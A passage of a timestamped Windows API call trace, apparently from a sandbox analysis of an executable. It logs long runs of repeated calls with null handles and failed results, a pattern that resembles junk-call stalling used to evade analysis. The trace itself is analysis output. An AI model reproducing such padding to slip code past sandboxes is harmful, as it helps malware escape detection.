| out: lpName=0x0) returned 0 [0026.978] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.978] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.978] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.978] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.978] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.978] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188498643, cy=27, fuLoad=0x0) returned 0x0 [0026.978] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.979] GetLastError () returned 0x715 [0026.979] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.979] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.979] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.979] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.979] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.979] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.979] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188479698, cy=27, fuLoad=0x0) returned 0x0 [0026.979] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.979] GetLastError () returned 0x715 [0026.979] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.979] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.979] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.979] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.979] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.979] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.979] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188460753, cy=27, fuLoad=0x0) returned 0x0 [0026.979] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.979] GetLastError () returned 0x715 [0026.979] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.980] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.980] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.980] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.980] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.980] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.980] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188441808, cy=27, fuLoad=0x0) returned 0x0 [0026.980] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.980] GetLastError () returned 0x715 [0026.980] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.980] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.980] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.980] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.980] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.980] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.980] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188422863, cy=27, fuLoad=0x0) returned 0x0 [0026.980] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.980] GetLastError () returned 0x715 [0026.980] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.980] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.980] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.981] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.981] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.981] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.981] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188403918, cy=27, fuLoad=0x0) returned 0x0 [0026.981] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.981] GetLastError () returned 0x715 [0026.981] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.981] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.981] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.981] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.981] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.981] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.981] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1188384973, cy=27, fuLoad=0x0) returned 0x0 [0026.981] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.981] GetLastError () returned 0x715 [0026.981] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.981] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.982] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.982] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.982] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.982] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0027.343] DescribePixelFormat (in: hdc=0x0, iPixelFormat=5, nBytes=0x28, ppfd=0x186ef0 | out: ppfd=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.022] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.022] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x186ef0, redraw=1) returned 0 [0029.023] GetScrollInfo (in: hwnd=0x0, nBar=1, lpsi=0x186ef0 | out: lpsi=0x186ef0) returned 0 [0029.023] GetDialogBaseUnits () returned 1048584 [0029.024] SendMessageA (hWnd=0x2f4840, Msg=0x1306, wParam=0x0, lParam=0x186ef0) returned 0x0 [0029.024] GetClientRect (in: hWnd=0x0, lpRect=0x186eac | out: lpRect=0x186eac) returned 0 [0029.024] MoveWindow (hWnd=0x0, X=10, Y=30, nWidth=-23, nHeight=-98, bRepaint=1) returned 0 [0029.024] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0029.024] ShowWindow (hWnd=0x0, nCmdShow=5) returned 0 [0029.024] SetFocus (hWnd=0x0) returned 0x0 [0029.024] SendDlgItemMessageA (hDlg=0x0, nIDDlgItem=27, Msg=0x401, wParam=0x1, lParam=0xffffffe5) returned 0x0 [0029.024] SendMessageA (hWnd=0x400000, Msg=0x1308, wParam=0x0, lParam=0x0) returned 0x0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetStretchBltMode (hdc=0x0, mode=4) returned 0 [0029.024] SetAbortProc (hdc=0x0, proc=0x408568) returned -1 [0029.025] DrawFrameControl (in: param_1=0x0, param_2=0x186ef0, param_3=0x4, param_4=0x4210 | out: param_2=0x186ef0) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.027] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.028] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.029] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.030] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.031] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, nIndex=-20, dwNewLong=128) returned 0 [0029.032] SetWindowLongA (hWnd=0x0, 